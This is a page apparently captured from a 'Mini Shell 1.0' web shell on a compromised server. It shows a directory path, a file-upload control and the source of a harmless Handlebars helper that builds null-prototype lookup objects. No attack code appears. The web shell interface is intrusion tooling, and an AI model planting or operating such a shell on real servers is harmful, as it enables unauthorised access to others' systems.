HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/share/nodejs/handlebars/lib/handlebars/internal/
Upload File :
Current File : //proc/self/root/usr/share/nodejs/handlebars/lib/handlebars/internal/create-new-lookup-object.js
import { extend } from '../utils';

/**
 * Create a new object with "null"-prototype to avoid truthy results on prototype properties.
 * The resulting object can be used with "object[property]" to check if a property exists
 * @param {...object} sources a varargs parameter of source objects that will be merged
 * @returns {object}
 */
export function createNewLookupObject(...sources) {
  return extend(Object.create(null), ...sources);
}